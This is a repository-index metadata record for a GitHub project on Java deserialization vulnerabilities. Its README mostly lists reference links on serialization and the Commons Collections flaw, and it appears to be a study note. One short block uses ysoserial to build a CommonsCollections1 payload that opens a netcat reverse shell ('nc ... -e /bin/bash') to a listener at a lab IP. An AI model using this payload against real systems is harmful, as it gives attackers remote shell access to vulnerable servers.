{"id":23416521,"url":"https://github.com/tedwon/java-deserialization-vulnerability","last_synced_at":"2025-04-09T06:44:41.310Z","repository":{"id":55575225,"uuid":"175576477","full_name":"tedwon/java-deserialization-vulnerability","owner":"tedwon","description":"Example for Java Deserialization Vulnerability","archived":false,"fork":false,"pushed_at":"2021-01-05T10:25:06.000Z","size":8,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-02-15T01:19:37.440Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tedwon.png","metadata":{"files":{"readme":"README.adoc","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-03-14T08:08:55.000Z","updated_at":"2021-01-05T10:25:09.000Z","dependencies_parsed_at":"2022-08-15T03:30:42.537Z","dependency_job_id":null,"html_url":"https://github.com/tedwon/java-deserialization-vulnerability","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tedwon%2Fjava-deserialization-vulnerability","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tedwon%2Fjava-deserialization-vulnerability/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tedwon%2Fjava-deserialization-vulnerability/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tedwon%2Fjava-deserialization-vulnerability/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tedwon","download_url":"https://codeload.github.com/tedwon/java-deserialization-vulnerability/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247994102,"owners_count":21030049,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-12-22T22:15:00.843Z","updated_at":"2025-04-09T06:44:41.288Z","avatar_url":"https://github.com/tedwon.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"== Java Deserialization Vulnerability\nimage::https://github.com/tedwon/java-deserialization-vulnerability/workflows/Java%20CI%20with%20Maven/badge.svg[Java CI with Maven]\n\n![Java CI with Maven](https://github.com/tedwon/java-deserialization-vulnerability/workflows/Java%20CI%20with%20Maven/badge.svg)\n\n\n* OWASP AppSecCali 2015 - Marshalling Pickles\n** https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles\n* OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate Java Object Deserialization\n** https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization\n* https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/\n* https://issues.apache.org/jira/browse/COLLECTIONS-580\n** https://issues.apache.org/jira/secure/attachment/12771520/COLLECTIONS-580.patch\n* commons-collections:3.1\n* https://github.com/apache/commons-collections\n* https://m.blog.naver.com/skinfosec2000/220887425296\n* Remotely Exploitable Java Zero Day Exploits through Deserialization\n** https://www.infoq.com/news/2015/11/commons-exploit\n* https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf\n\n\n== ysoserial\n* https://github.com/frohoff/ysoserial\n* http://frohoff.github.io/appseccali-marshalling-pickles/\n\n[source,options=\"nowrap\"]\n----\nnc -lvnp 4000\n\njava -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 \"nc 192.168.99.101 4000 -e /bin/bash\" | xxd | head -3\n\njava -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 \"nc 192.168.99.101 4000 -e /bin/bash\" \u003e reverse.bin\n----\n\n\n== Workaround\n* I think we can use Byteman.\n** http://byteman.jboss.org/\n** https://tedwon.atlassian.net/wiki/spaces/SE/pages/1213364/Byteman\n** https://www.slideshare.net/tedwon/12th-jco-jbossrhqbyteman\n\n\n== Java Serialization\n* Java Object Serialization Specification version 6.0\n** https://docs.oracle.com/javase/8/docs/platform/serialization/spec/serialTOC.html\n* https://www.javaworld.com/article/2072752/the-java-serialization-algorithm-revealed.html\n* https://www.mkyong.com/java/how-to-read-and-write-java-object-to-a-file/\n* https://tedwon.atlassian.net/wiki/spaces/SE/pages/1212665/Java+Serialization\n* JavaSerializationTest.java https://gist.github.com/tedwon/1a1231349919433968bae49827883f94\n* https://www.ibm.com/developerworks/library/se-lookahead/\n* https://dzone.com/articles/serialization-amp-de-serialization-in-java\n\n\n== serialVersionUID\n* https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html\n\n== Apache Thrift\n* https://www.cvedetails.com/product/38295/Apache-Thrift.html\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftedwon%2Fjava-deserialization-vulnerability","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftedwon%2Fjava-deserialization-vulnerability","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftedwon%2Fjava-deserialization-vulnerability/lists"}